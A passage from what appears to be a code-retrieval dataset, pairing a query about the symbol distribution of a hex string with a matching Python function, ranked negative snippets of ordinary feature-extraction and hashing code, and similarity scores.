# Output: \\n # - sentVector: feature vector for the sentence \\n\\n sentence_vectors = [wordVectors[tokens[word]] for word in sentence]\\n\\n return sum(sentence_vectors) * 1.0 / len(sentence_vectors)\",\n \"def _getStringFeature(self):\\n\\n # create args\\n bufferSize = 256\\n valueToGet = create_string_buffer('\\\\000' * bufferSize)\\n sizeFilled = c_uint32()\\n\\n errorCode = VimbaDLL.featureStringGet(self._handle,\\n self._name,\\n valueToGet,\\n bufferSize,\\n byref(sizeFilled))\\n if errorCode != 0:\\n raise VimbaException(errorCode)\\n\\n return valueToGet.value\",\n \"def shortest(self):\\n shortest = None\\n if self._vectors:\\n shortest = self._vectors[0]\\n min_len = shortest.length2\\n for vector in self._vectors:\\n len = vector.length2\\n if len < min_len:\\n shortest = vector\\n min_len = len\\n return shortest\",\n \"def float_feature(value):\\n if not isinstance(value, list):\\n value = [value]\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def float_feature(value):\\n if not isinstance(value, list):\\n value = [value]\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def replace_word(word, is_first, vocab, minimal_fequency):\\n ### YOUR CODE HERE\\n if word.isdigit():\\n if len(word) == 2:\\n return 'twoDigitNum'\\n elif len(word) == 4:\\n return 'fourDigitNum'\\n else:\\n return 'othernum'\\n elif contains_digit(word):\\n if contains_alpha(word):\\n return 'containsDigitAndAlpha'\\n elif '-' in word:\\n return 'containsDigitAndDash'\\n elif '/' in word or '\\\\\\\\' in word:\\n return 'containsDigitAndSlash'\\n elif '.' in word:\\n return 'containsDigitAndPeriod'\\n if word.isalpha() and word.isupper():\\n return 'allCaps'\\n elif CAP_PERIOD_PATTERN.match(word):\\n return 'capPeriod'\\n if is_first and vocab.get(word.lower(), 0) >= minimal_fequency:\\n return word.lower()\\n if not is_first and word[0].isupper():\\n return 'initCap'\\n if word.isalpha():\\n for suffix in SUFFIXES:\\n if word.endswith(suffix):\\n return 'wordSuffix' + suffix\\n if word.isalpha():\\n for prefix in PREFIXES:\\n if word.startswith(prefix):\\n return prefix + 'WordPrefix'\\n if '-' in word:\\n return 'withDash'\\n elif word.isalpha() and word.lower() == word:\\n return 'lowercase'\\n ### END YOUR CODE\\n return UNKNOWN_WORD\",\n \"def _extract_feature(element):\\n features = tf.parse_single_example(\\n element,\\n # Defaults are not specified since both keys are required.\\n features={\\n 'image/encoded': tf.FixedLenFeature([], tf.string),\\n 'label/x': tf.FixedLenFeature([], tf.int64),\\n 'label/y': tf.FixedLenFeature([], tf.int64)\\n })\\n return features\",\n \"def create_feature_vector(features, length):\\n START_IDX = 0\\n END_IDX = 1\\n\\n output_vector = np.zeros(length)\\n\\n # negative strand\\n for loc in features[-1]:\\n output_vector[loc[START_IDX]:loc[END_IDX]] = 1 \\n\\n # positive strand\\n for loc in features[1]:\\n output_vector[loc[START_IDX]:loc[END_IDX]] = 2\\n\\n return output_vector\",\n \"def build_feature_vector(self, basic_vector):\\n basic_vector = basic_vector - np.mean(basic_vector)\\n self._basic_vectors.append(basic_vector)\\n if len(self._basic_vectors) > 2:\\n #if there are at least 3 basic vectors we can calculate the central derivative for the vector before this one\\n first_derivative = (basic_vector - self._basic_vectors[-3])/(2*self.seconds_to_next_vector)\\n second_derivative = (basic_vector - 2*self._basic_vectors[-2] + self._basic_vectors[-3])/(self.seconds_to_next_vector**2)\\n feature_vector = np.concatenate((basic_vector, first_derivative, second_derivative))\\n self._feature_vectors.append(feature_vector)\",\n \"def _float_feature(value):\\n if not isinstance(value, list):\\n value = [value]\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def _float_feature(value):\\n if not isinstance(value, list):\\n value = [value]\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def xx(x):\\r\\n return Feature(x, \\\"XX\\\")\",\n \"def makeFeatureVec(words, model, num_features):\\n featureVec = np.zeros((num_features,),dtype=\\\"float32\\\")\\n num_words = 0.\\n index2word_set = set(model.wv.index2word)\\n for word in words:\\n if word in index2word_set:\\n num_words += 1\\n featureVec = np.add(featureVec,model[word]) \\n featureVec = np.divide(featureVec,num_words)\\n return featureVec\",\n \"def _feature_vec(xs, y):\\n\\tf = _create_feature_vec()\\n\\n\\t# Iterate over rows in x, values of y, and update f.\\n\\tcount = y.shape[0]\\n\\tfor idx in range(count):\\n\\t\\tword = xs[idx, :]\\n\\t\\ttag = y[idx]\\n\\n\\t\\t# Defense!\\n\\t\\tassert len(word) + 1 == len(f)\\n\\n\\t\\t# Iterate over feature values in word, increment the vector\\n\\t\\tfor fidx, fvalue in enumerate(word):\\n\\t\\t\\tf[fidx][tag, fvalue] += 1\\n\\n\\t\\t# Update ngram matrix at the end of fvec. Must update edge potential\\n\\t\\t# for previous AND next tag.\\n\\t\\tif idx != 0:\\n\\t\\t\\tprev_tag = y[idx-1]\\n\\t\\t\\tf[-1][prev_tag, tag] += 1\\n\\t\\tif idx != count - 1:\\n\\t\\t\\tnext_tag = y[idx+1]\\n\\t\\t\\tf[-1][tag, next_tag] += 1\\n\\n\\treturn f\",\n \"def __init__(self, version_string: str):\\n self.components = version_string.split(\\\".\\\")\",\n \"def __init__(self, version_string: str):\\n self.components = version_string.split(\\\".\\\")\",\n \"def get_vector(self, word):\\n\\n if word in self.glove.stoi:\\n return self.glove.vectors[self.glove.stoi[word]]\\n else:\\n return None\",\n \"def get_name():\\n return \\\"SVM+\\\"\",\n \"def vectorize_word(word):\\n if word in Tfidf_vect.vocabulary_:\\n i = Tfidf_vect.vocabulary_[word]\\n return Tfidf_vect.idf_[i]\\n else:\\n return 0\",\n \"def create_feature_map(string, features):\\n fmap = {}\\n vec = create_vector(string)\\n\\n for ngram in features:\\n if ngram in vec:\\n fmap[ngram] = vec[ngram]\\n\\n return fmap\",\n \"def float_feature(self, value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def GetVectorArticleInput(dico_vector_input, features):\\n features_left = set(features) - set(dico_vector_input.keys())\\n if len(features_left) > 0:\\n sentence = \\\"Some features aren't in the dict:\\\\n\\\"\\n raise MyException(sentence + \\\"{}\\\".format(features_left))\\n vector_art = []\\n other_features = ['abstract', 'syn', 'exergue', 'title', 'secTitle']\\n other_features += ['subTitle', 'supTitle']\\n for feature in features:\\n if feature == 'nbSign':\\n if dico_vector_input['nbSign'] == 0:\\n print(\\\"NbSign == 0 l.176 - GetVectorArticleInput\\\")\\n vector_art.append(dico_vector_input[feature])\\n else:\\n vector_art.append(dico_vector_input[feature])\\n # Conversion des variables en indicatrices\\n # Normalement plus la peine, comme déjà fait auparavant\\n elif feature in other_features:\\n if dico_vector_input[feature] > 0:\\n vector_art.append(1)\\n else:\\n vector_art.append(0)\\n else:\\n vector_art.append(dico_vector_input[feature])\\n return (dico_vector_input['melodyId'], np.array([vector_art]))\",\n \"def first(word):\\n\\treturn word[0]\",\n \"def get_training(feature_path): \\n features = np.loadtxt(feature_path)\\n feature_size = features.shape[1] -1 \\n features_in = features[:,0:feature_size]\\n features_out = features[:,-1]\\n #features_out = np.array(map(lambda x: x if x else 0, features_out_unnorm))\\n return features_in, features_out\",\n \"def _load_version(cls, unpickler, version):\\n model = unpickler.load()\\n if version == 0:\\n feature = model._state['features']\\n model._state['output_column_name'] = 'extracted.' + feature\\n return model\",\n \"def first(word):\\n return word[0]\",\n \"def float_feature(value):\\n if not isinstance(value, list) and not isinstance(value, np.ndarray):\\n value = [value]\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def sort_features_human_friendly_order(tokens, features):\\n preferred_ordered_features = []\\n\\n # Short features last\\n features = sorted(features, key=len, reverse=True)\\n \\n for token in tokens:\\n # Iterate from last (shortest features first), and remove in-place*\\n for feature in reversed(features):\\n # Only add those that begins with current token\\n if feature.startswith(token):\\n preferred_ordered_features.append(feature)\\n features.remove(feature)\\n return preferred_ordered_features\",\n \"def test_regex_featurizer():\\n from rasa.nlu.featurizers.sparse_featurizer.regex_featurizer import RegexFeaturizer\\n sentence, expected, labeled_tokens = (\\n \\\"hey how are you today\\\",\\n [\\n [0.0, 1.0, 0.0],\\n [0.0, 0.0, 0.0],\\n [0.0, 0.0, 0.0],\\n [0.0, 0.0, 0.0],\\n [0.0, 0.0, 0.0],\\n [0.0, 1.0, 0.0],\\n ],\\n [0],\\n )\\n patterns = [\\n {\\\"pattern\\\": \\\"[0-9]+\\\", \\\"name\\\": \\\"number\\\", \\\"usage\\\": \\\"intent\\\"},\\n {\\\"pattern\\\": \\\"\\\\\\\\bhey*\\\", \\\"name\\\": \\\"hello\\\", \\\"usage\\\": \\\"intent\\\"},\\n {\\\"pattern\\\": \\\"[0-1]+\\\", \\\"name\\\": \\\"binary\\\", \\\"usage\\\": \\\"intent\\\"},\\n ]\\n ftr = RegexFeaturizer({}, known_patterns=patterns)\\n\\n # adds tokens to the message\\n tokenizer = SpacyTokenizer({})\\n message = Message(sentence, data={RESPONSE: sentence})\\n assert show_message(message, False) == {\\n \\\"response\\\": \\\"hey how are you today\\\",\\n \\\"text\\\": \\\"hey how are you today\\\"\\n }\\n message.set(SPACY_DOCS[TEXT], spacy_nlp(sentence))\\n tokenizer.process(message)\\n # assert show_message(message) == {'response': 'hey how are you today', 'text_spacy_doc': spacy_nlp(\\\"hey how are you today\\\"),\\n # 'tokens': ['hey', 'how', 'are', 'you', 'today', '__CLS__'],\\n # 'text': 'hey how are you today'}\\n # result = ftr._features_for_patterns(message, TEXT)\\n ftr.process(message) # [TEXT, RESPONSE]\\n show_message(message)\\n assert len(message.get(TOKENS_NAMES[TEXT], [])) > 0\",\n \"def stripFeat(s):\\n if \\\" Featuring\\\" in s:\\n return s[: s.index(\\\" Featuring\\\")]\\n elif \\\" x \\\" in s:\\n return s[: s.index(\\\" x \\\")]\\n else:\\n return s\",\n \"def extract_linear_strings(self): \\n # there are at least three choices of how greedy to be.\\n # min: each edge is its own feature\\n # max: extract features as long as possible, and allow for 'T' junctions.\\n # mid: break features at nodes with degree>2.\\n # go with mid\\n strings=[]\\n edge_marks=np.zeros( self.Nedges(),'b1')\\n\\n for j in self.valid_edge_iter():\\n if edge_marks[j]:\\n continue\\n edge_marks[j]=True\\n\\n trav=tuple(self.edges['nodes'][j])\\n node_fwd=self.edges['nodes'][j,1]\\n node_rev=self.edges['nodes'][j,0]\\n\\n node_string=[node_fwd,node_rev]\\n\\n for trav in [ (node_fwd,node_rev),\\n (node_rev,node_fwd) ]:\\n while 1:\\n js = self.node_to_edges(trav[1])\\n\\n if len(js)!=2:\\n break\\n\\n for j in js:\\n jnodes=self.edges['nodes'][j]\\n if trav[0] in jnodes:\\n continue\\n if edge_marks[j]:\\n # possible if we go all the way around a ring.\\n break\\n edge_marks[j]=True\\n nxt=[n for n in jnodes if n!=trav[1]][0]\\n node_string.append(nxt)\\n trav=(trav[1],nxt)\\n node_string=node_string[::-1]\\n\\n feat_nodes=np.array( node_string )\\n strings.append( feat_nodes )\\n return strings\",\n \"def parse_single_example_v2(\\n serialized, features, example_names=None, name=None\\n ):\\n if not features:\\n raise ValueError(\\\"Invalid argument: features cannot be None.\\\")\\n with ops.name_scope(name, \\\"ParseSingleExample\\\", [serialized, example_names]):\\n serialized = ops.convert_to_tensor(serialized, name=\\\"serialized\\\")\\n serialized = _assert_scalar(serialized, \\\"serialized\\\")\\n return parse_example_v2(serialized, features, example_names, name)\",\n \"def get_vect(word, model, method):\\n if method == \\\"model\\\":\\n try:\\n return model.wv[word]\\n except KeyError:\\n return None\\n else:\\n try:\\n return model[word]\\n except KeyError:\\n return None\",\n \"def _getNewFeatures( self, sFeatures ):\\n\\n\\t\\ttry:\\n\\t\\t\\trgsFeature = []\\n\\t\\t\\trgsPosType = []\\n\\n\\t\\t\\tfor s in sFeatures.split( ',' ):\\n\\t\\t\\t\\tif s == 'jws':\\n\\t\\t\\t\\t\\trgsFeature.append( 'pos' )\\n\\t\\t\\t\\t\\trgsPosType.append( 'jws_apex' )\\n\\t\\t\\t\\tif s == 'lpr':\\n\\t\\t\\t\\t\\trgsFeature.append( 'lpr' )\\n\\t\\t\\t\\t\\trgsPosType.append( 'license_plate_recognition' )\\n\\t\\t\\t\\tif ( s == 'valve' or s == 'scale' ) and ('jws_anti_theft' not in rgsFeature):\\n\\t\\t\\t\\t\\trgsFeature.append( 'jws_anti_theft' )\\n\\t\\t\\t\\tif s == 'vscale':\\n\\t\\t\\t\\t\\trgsFeature.append( 'jws_cloud' )\\n\\t\\t\\t\\tif s == 'pos':\\n\\t\\t\\t\\t\\tfor sPos in [ 'aloha','subway','debug','retail_pro','polewatcher','verifone','micros','drb','restaurant_manager','cap_retail','focus_pos','positouch','hme_zoom_drive_timer','tanklogix','ecrs' ]:\\n\\t\\t\\t\\t\\t\\trgsPosType.append( sPos )\\n\\n\\t\\t\\treturn ( \\\",\\\".join( rgsFeature ), \\\",\\\".join( rgsPosType ) )\\n\\n\\t\\texcept Exception, e:\\n\\t\\t\\terrMsg( 'error while mapping old features to new features' )\\n\\t\\t\\terrMsg( e )\\n\\t\\t\\treturn ( '', '' )\",\n \"def format_arg_features(features):\\n\\n features = features.replace(\\\" \\\", \\\"\\\")\\n features = features.replace(\\\"[\\\", \\\"\\\")\\n features = features.replace(\\\"]\\\", \\\"\\\")\\n\\n # Remove quotation and double quotation marks\\n features = features.replace(\\\"'\\\", \\\"\\\")\\n features = features.replace('\\\"', \\\"\\\")\\n\\n # Split by comma\\n list_of_features = features.rsplit(\\\",\\\")\\n\\n return list_of_features\",\n \"def data_mining_features(index,input_string_x1,input_string_x2,vocab_word2index,word_vec_fasttext_dict,word_vec_word2vec_dict,tfidf_dict,n_gram=8):\\r\\n input_string_x1=input_string_x1.decode(\\\"utf-8\\\")\\r\\n input_string_x2 = input_string_x2.decode(\\\"utf-8\\\")\\r\\n #1. get blue score vector\\r\\n feature_list=[]\\r\\n #get blue score with n-gram\\r\\n for i in range(n_gram):\\r\\n x1_list=split_string_as_list_by_ngram(input_string_x1,i+1)\\r\\n x2_list = split_string_as_list_by_ngram(input_string_x2, i + 1)\\r\\n blue_score_i_1 = compute_blue_ngram(x1_list,x2_list)\\r\\n blue_score_i_2 = compute_blue_ngram(x2_list,x1_list)\\r\\n feature_list.append(blue_score_i_1)\\r\\n feature_list.append(blue_score_i_2)\\r\\n\\r\\n #2. get length of questions, difference of length\\r\\n length1=float(len(input_string_x1))\\r\\n length2=float(len(input_string_x2))\\r\\n length_diff=(float(abs(length1-length2)))/((length1+length2)/2.0)\\r\\n feature_list.append(length_diff)\\r\\n\\r\\n #3. how many words are same, how many words are unique\\r\\n sentence_diff_overlap_features_list=get_sentence_diff_overlap_pert(index,input_string_x1,input_string_x2)\\r\\n feature_list.extend(sentence_diff_overlap_features_list)\\r\\n\\r\\n #4. question 1,2 start with how/why/when\\r\\n #how_why_feature_list=get_special_start_token(input_string_x1,input_string_x2,special_start_token)\\r\\n #print(\\\"how_why_feature_list:\\\",how_why_feature_list)\\r\\n #feature_list.extend(how_why_feature_list)\\r\\n\\r\\n #5.edit distance\\r\\n edit_distance=float(edit(input_string_x1, input_string_x2))/30.0\\r\\n feature_list.append(edit_distance)\\r\\n\\r\\n #6.cos distance from sentence embedding\\r\\n x1_list=token_string_as_list(input_string_x1, tokenize_style='word')\\r\\n x2_list = token_string_as_list(input_string_x2, tokenize_style='word')\\r\\n distance_list_fasttext = cos_distance_bag_tfidf(x1_list, x2_list, word_vec_fasttext_dict, tfidf_dict)\\r\\n distance_list_word2vec = cos_distance_bag_tfidf(x1_list, x2_list, word_vec_word2vec_dict, tfidf_dict)\\r\\n #distance_list2 = cos_distance_bag_tfidf(x1_list, x2_list, word_vec_fasttext_dict, tfidf_dict,tfidf_flag=False)\\r\\n #sentence_diffence=np.abs(np.subtract(sentence_vec_1,sentence_vec_2))\\r\\n #sentence_multiply=np.multiply(sentence_vec_1,sentence_vec_2)\\r\\n feature_list.extend(distance_list_fasttext)\\r\\n feature_list.extend(distance_list_word2vec)\\r\\n #feature_list.extend(list(sentence_diffence))\\r\\n #feature_list.extend(list(sentence_multiply))\\r\\n return feature_list\",\n \"def encode_features(self, X_str, needs_fit=True, keep_ids=False):\\n # encoding while preserving ids, used only for importance computation\\n # and not during training\\n if keep_ids is True and isinstance(X_str, str):\\n X_str = self.tokenizer.tokenize(X_str, keep_ids=True)\\n # needs_fit will be set to true if encoder is not already trained\\n if needs_fit is True:\\n self.vectorizer.fit(X_str)\\n if isinstance(X_str, str):\\n X_str = [X_str]\\n X_vec = self.vectorizer.transform(X_str)\\n return [X_vec, self.vectorizer]\",\n \"def make_best_vector(cls, vector: _LevenshteinVector, sensitivity: int) -> Optional[_LevenshteinVector]:\\n\\n # collect all unique searchwords in vector:\\n initial_vector = vector.get_vector()\\n if initial_vector is None:\\n return None\\n else:\\n searchwords = set(score.comparandum.get_pref_label() for score in initial_vector)\\n\\n # choose best (=lowest) score for each seachword:\\n best_vector = []\\n for word in searchwords:\\n scores = [score for score in initial_vector if score.comparandum.get_pref_label() == word]\\n best_score = sorted(scores, key=lambda x: x.value)[0]\\n # check sensitivity:\\n if best_score.value <= sensitivity:\\n best_vector.append(best_score)\\n\\n return _LevenshteinVector(best_vector)\",\n \"def _bytes_feature(value): \\n if isinstance(value, type(tf.constant(0))): \\n value = value.numpy() # BytesList won't unpack a string from an EagerTensor.\\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\",\n \"def get_version_selection(self, category, state_string):\\r\\n catnode = self[category]\\r\\n\\r\\n envd = self._parse_state_string(state_string)\\r\\n envd = self._normalize_state_dict(envd)\\r\\n state = envd[catnode]\\r\\n return state.version,state.classifier\",\n \"def extract_single_feature_vect(gray):\\n\\n hist, hog_img = skimHOG(gray)\\n reduced = reduce_single_vector_dimension(hist)\\n\\n return reduced, hog_img\",\n \"def _bytes_feature(value):\\n if isinstance(value, type(tf.constant(0))):\\n # BytesList won't unpack a string from an EagerTensor.\\n value = value.numpy()\\n if isinstance(value, list):\\n value = [six.ensure_binary(token) for token in value]\\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\\n # value = str([six.ensure_text(token, \\\"utf-8\\\") for \\\\\\n # token in value]).encode()\\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\",\n \"def add_feature31(df):\\n\\n df['feature_31'] = df.feature_21.apply(lambda s: 'None' if s in ['', None] else re.findall(r'[\\\\w]', s)[0])\\n\\n return df\",\n \"def _libsvm_parse_line(libsvm_line):\\n tokens = libsvm_line.split()\\n qid = int(tokens[1].split(\\\":\\\")[1])\\n\\n features = {_LABEL_FEATURE: float(tokens[0])}\\n key_values = [key_value.split(\\\":\\\") for key_value in tokens[2:]]\\n features.update({key: float(value) for (key, value) in key_values})\\n\\n return qid, features\",\n \"def load_word2vec(self, path, binary=True, reserve_zero=True, reserve_oov_token=True):\\n self.allow_oov = reserve_oov_token\\n self.reserve_zero = reserve_zero\\n words = []\\n if self.reserve_zero:\\n words.append('__ZERO__')\\n if self.allow_oov:\\n words.append('__OUT_OF_VOCAB__')\\n self.oov_index = len(words) - 1\\n\\n if binary:\\n with open(path, 'rb') as f:\\n # Get number of vectors and vector size\\n # from first line\\n num_vectors, vector_size = map(\\n int, f.readline().decode('UTF-8').split())\\n FLOAT_SIZE = 4\\n\\n self._matrix = np.zeros(\\n [num_vectors + len(words), vector_size], dtype='float32')\\n # Assign random vector for OOV token if it exists\\n if self.allow_oov:\\n self._matrix[self.oov_index] = np.random.randn(vector_size, )\\n\\n update = words.append # Speedup\\n for i in tqdm(range(len(words), num_vectors+len(words))):\\n # Reads until a whitespace is found (get a word)\\n word = b\\\"\\\"\\n while True:\\n char = f.read(1)\\n if char == b\\\" \\\":\\n break\\n word += char\\n update(word)\\n #Read vector\\n vecs = f.read(FLOAT_SIZE * vector_size)\\n self._matrix[i] = np.frombuffer(vecs, 'f')\\n\\n self.vocab = words\\n else:\\n print(\\\"This feature is yet to be implemented\\\")\",\n \"def choose_best_feature(data_set):\\n feature_size = len(data_set[0]) - 1\\n base_entropy = calc_entropy(data_set)\\n best_info_gain = 0.0; best_feature = -1\\n for i in xrange(feature_size):\\n feat_list = [eg[i] for eg in data_set]\\n unique_values = set(feat_list)\\n new_entropy = 0.0\\n for value in unique_values:\\n sub_ds = splite_dataset(data_set, i, value)\\n prob = len(sub_ds) / float(len(data_set))\\n new_entropy += prob * calc_entropy(sub_ds)\\n info_gain = base_entropy - new_entropy\\n if info_gain > best_info_gain:\\n best_info_gain = info_gain\\n best_feature = i\\n\\n return best_feature\",\n \"def select_features(data: AnnData, features: str = None) -> str:\\n keyword = \\\"fmat_\\\" + str(features) # fmat: feature matrix\\n\\n if keyword not in data.uns:\\n if features is not None:\\n assert features in data.var\\n fmat = data.X[:, data.var[features].values]\\n else:\\n fmat = data.X\\n\\n if issparse(fmat):\\n data.uns[keyword] = fmat.toarray()\\n else:\\n data.uns[keyword] = fmat.copy()\\n\\n return keyword\",\n \"def test_require_feature() -> None:\\n # Given 'a', this FST will transduce 'a' and 'b'\\n # Given 'b', this FST will transduce 'a' and 'b'\\n # Given 'c', this FST will reject\\n fst = make_fst(\\n # 1 -@D.x@-> 5; 5 -0:a-> (2)\\n \\\"1 160 5 0\\\",\\n \\\"5 0 97 2 0\\\",\\n # 1 -@D.x@-> 6; 6 -0:b-> (2)\\n \\\"1 160 6 0\\\",\\n \\\"6 0 98 2 0\\\",\\n )\\n\\n assert set(fst.generate(\\\"a\\\")) == {\\\"a\\\", \\\"b\\\"}\\n assert set(fst.generate(\\\"b\\\")) == {\\\"a\\\", \\\"b\\\"}\\n assert set(fst.generate(\\\"c\\\")) == set()\",\n \"def getVectorSemanticSBERT(text):\\n url = cfg.sbert_vectoriser\\n res = requests.post(url, json={'text': text, 'access_key': cfg.vectoriser_access_key})\\n res_dictionary = res.json()\\n return res_dictionary['vectors']\",\n \"def test_strings_first_symbol():\\n\\n first_result = strings_ops.strings_first_symbol(\\\"Otus\\\", \\\"october\\\")\\n assert first_result is True\",\n \"def add_grist (features):\\n assert is_iterable_typed(features, basestring) or isinstance(features, basestring)\\n def grist_one (feature):\\n if feature [0] != '<' and feature [len (feature) - 1] != '>':\\n return '<' + feature + '>'\\n else:\\n return feature\\n\\n if isinstance (features, str):\\n return grist_one (features)\\n else:\\n return [ grist_one (feature) for feature in features ]\",\n \"def get_highly_correlated_feature_names(self):\",\n \"def any_text_preprocessing(name):\\n return hp.choice('%s' % name, [\\n [tfidf(name + '.tfidf')],\\n ])\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6198624","0.5924267","0.54814017","0.54337686","0.53859985","0.5342566","0.5328747","0.52908","0.5278484","0.5193796","0.5187327","0.5172308","0.51401806","0.512927","0.5113244","0.51110196","0.50867546","0.50867546","0.5078367","0.50766903","0.505309","0.50210804","0.50210804","0.50210804","0.5020252","0.5020174","0.5020174","0.5020174","0.5020174","0.5020174","0.50122696","0.5009333","0.5007384","0.5003213","0.49958485","0.49917704","0.49879882","0.49830788","0.4980558","0.49794236","0.49790108","0.49626723","0.49441648","0.49377346","0.4935513","0.49104673","0.49061042","0.490031","0.4898755","0.4897365","0.48830974","0.48830974","0.48777097","0.4873532","0.4873291","0.4866013","0.48596096","0.48596096","0.4856633","0.48562062","0.48519102","0.4847484","0.4847484","0.4843045","0.48368627","0.48342916","0.48322135","0.48304513","0.4828288","0.4812656","0.48082224","0.48037732","0.47999492","0.47992766","0.47760928","0.47723743","0.47630414","0.47576338","0.4749179","0.47419035","0.47340435","0.47310558","0.47248307","0.47232506","0.47185242","0.4715317","0.47080958","0.47022915","0.46968102","0.46965426","0.46914214","0.46791378","0.46769878","0.46742675","0.46666026","0.46664184","0.46630847","0.46561277","0.46531135","0.46514028"],"string":"[\n \"0.6198624\",\n \"0.5924267\",\n \"0.54814017\",\n \"0.54337686\",\n \"0.53859985\",\n \"0.5342566\",\n \"0.5328747\",\n \"0.52908\",\n \"0.5278484\",\n \"0.5193796\",\n \"0.5187327\",\n \"0.5172308\",\n \"0.51401806\",\n \"0.512927\",\n \"0.5113244\",\n \"0.51110196\",\n \"0.50867546\",\n \"0.50867546\",\n \"0.5078367\",\n \"0.50766903\",\n \"0.505309\",\n \"0.50210804\",\n \"0.50210804\",\n \"0.50210804\",\n \"0.5020252\",\n \"0.5020174\",\n \"0.5020174\",\n \"0.5020174\",\n \"0.5020174\",\n \"0.5020174\",\n \"0.50122696\",\n \"0.5009333\",\n \"0.5007384\",\n \"0.5003213\",\n \"0.49958485\",\n \"0.49917704\",\n \"0.49879882\",\n \"0.49830788\",\n \"0.4980558\",\n \"0.49794236\",\n \"0.49790108\",\n \"0.49626723\",\n \"0.49441648\",\n \"0.49377346\",\n \"0.4935513\",\n \"0.49104673\",\n \"0.49061042\",\n \"0.490031\",\n \"0.4898755\",\n \"0.4897365\",\n \"0.48830974\",\n \"0.48830974\",\n \"0.48777097\",\n \"0.4873532\",\n \"0.4873291\",\n \"0.4866013\",\n \"0.48596096\",\n \"0.48596096\",\n \"0.4856633\",\n \"0.48562062\",\n \"0.48519102\",\n \"0.4847484\",\n \"0.4847484\",\n \"0.4843045\",\n \"0.48368627\",\n \"0.48342916\",\n \"0.48322135\",\n \"0.48304513\",\n \"0.4828288\",\n \"0.4812656\",\n \"0.48082224\",\n \"0.48037732\",\n \"0.47999492\",\n \"0.47992766\",\n \"0.47760928\",\n \"0.47723743\",\n \"0.47630414\",\n \"0.47576338\",\n \"0.4749179\",\n \"0.47419035\",\n \"0.47340435\",\n \"0.47310558\",\n \"0.47248307\",\n \"0.47232506\",\n \"0.47185242\",\n \"0.4715317\",\n \"0.47080958\",\n \"0.47022915\",\n \"0.46968102\",\n \"0.46965426\",\n \"0.46914214\",\n \"0.46791378\",\n \"0.46769878\",\n \"0.46742675\",\n \"0.46666026\",\n \"0.46664184\",\n \"0.46630847\",\n \"0.46561277\",\n \"0.46531135\",\n \"0.46514028\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.54504055"},"document_rank":{"kind":"string","value":"3"}}},{"rowIdx":14485,"cells":{"query":{"kind":"string","value":"Symbol distribution of a hexalised string."},"document":{"kind":"string","value":"def string_features_hex(hexstr):\n out = dict([(x,0) for x in hexabet])\n ct = dict(Counter(hexstr.split()))\n N = len(hexstr.split())\n for k in out.keys():\n if k in ct.keys():\n out[k] += ct[k]\n out = [v[1] for v in sorted(out.iteritems(), key=lambda (k,v): k)]\n out = [float(x)/N for x in out]\n return out"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def _symbol(self,s):\n return self.symbollist[s%len(self.symbollist)]","def customHashFunc(str):\n return sum(ord(chr) for chr in str)%128","def H(s):\n return 'H_' + ''.join(['%02x' % ord(x) for x in s])","def get_hash_code(s):\n h = 0\n n = len(s)\n for i, c in enumerate(s):\n h = h + ord(c) * 31 ** (n - 1 - i)\n return StrUtil.convert_4_bytes(h)","def symbol(string: str) -> str:\n L = len(string)\n P1 = random.randint(1, L-1, 2)\n chars = []\n for char in string:\n chars.append(char)\n chars[P1[0]] = chars[P1[0]].upper()\n chars[P1[1]] = chars[P1[1]].upper()\n return ''.join(x for x in chars if x.isupper())+str(random.randint(9))","def get_statistic(source_text):\n symbols = {s: 0 for s in bytes(range(0, 256))}\n for symbol in source_text:\n symbols[symbol] += 1\n return symbols","def frequencyLetterDic(s):\n pass","def __polynomial_hash(self, s, base = 31, max_size=168):\r\n digest = 0\r\n max_size = 168\r\n for c in s: digest = base * digest + ord(c)\r\n digest &= 2 ** max_size - 1 \r\n return hex(digest).rstrip('L')","def _symbol_mash(base_symbol: str, ds_symbol: Optional[int]) -> int:\n base_table = {'circle': 0, 'diamond': 2, 'square': 1, 'hexagram': 18}\n if ds_symbol is None:\n return base_table[base_symbol]\n ds_offsets = {37: 0, 38: 1, 39: 2, 40: 3, 34: 4, 33: 5, 35: 6, 36: 7}\n slots = {i for i in range(53)} - set(base_table.values()) - set(ds_offsets.keys())\n slots = sorted(list(slots))\n base_offsets = {\n 'circle': 0, 'diamond': len(ds_offsets), 'square': 2 * len(ds_offsets), 'hexagram': 3 * len(ds_offsets)\n }\n mashed_symbol = slots[base_offsets[base_symbol] + ds_offsets[ds_symbol]]\n return mashed_symbol","def symbolsAssign(clusters):\n \n alphabet = ['A','a','B','b','C','c','D','d','E','e',\n 'F','f','G','g','H','h','I','i','J','j',\n 'K','k','L','l','M','m','N','n','O','o',\n 'P','p','Q','q','R','r','S','s','T','t',\n 'U','u','V','v','W','w','X','x','Y','y','Z','z']\n \n clusters = pd.Series(clusters)\n N = len(clusters.unique())\n\n cluster_sort = [0] * N \n counter = collections.Counter(clusters)\n for ind, el in enumerate(counter.most_common()):\n cluster_sort[ind] = el[0]\n\n if N >= len(alphabet):\n alphabet = [chr(i+33) for i in range(0, N)]\n else:\n alphabet = alphabet[:N]\n hashm = dict(zip(cluster_sort + alphabet, alphabet + cluster_sort))\n strings = [hashm[i] for i in clusters]\n return strings, hashm","def genHexStr(instr: str) -> str:\n\n return hashlib.md5(instr.encode(\"utf-8\")).hexdigest()","def test_string_to_hex():\n strings = ['helloworld', 'HelloWorld', 'HELLOWORLD', 'Hello WorLd', 'hElLo W Or L d', 'h e l l o w o r l d']\n\n for i, word in enumerate(strings):\n assert pi_finder.string_to_hex(word, hex_dict) == '68656c6c6f776f726c64'","def hashhex(s):\n h = hashlib.sha1()\n h.update(s)\n return h.hexdigest()","def hash(string):\n hs = 0\n for s in string:\n hs += ord(s)\n return hs","def hashhex(s):\n h = hashlib.sha1()\n h.update(s.encode())\n return h.hexdigest()","def 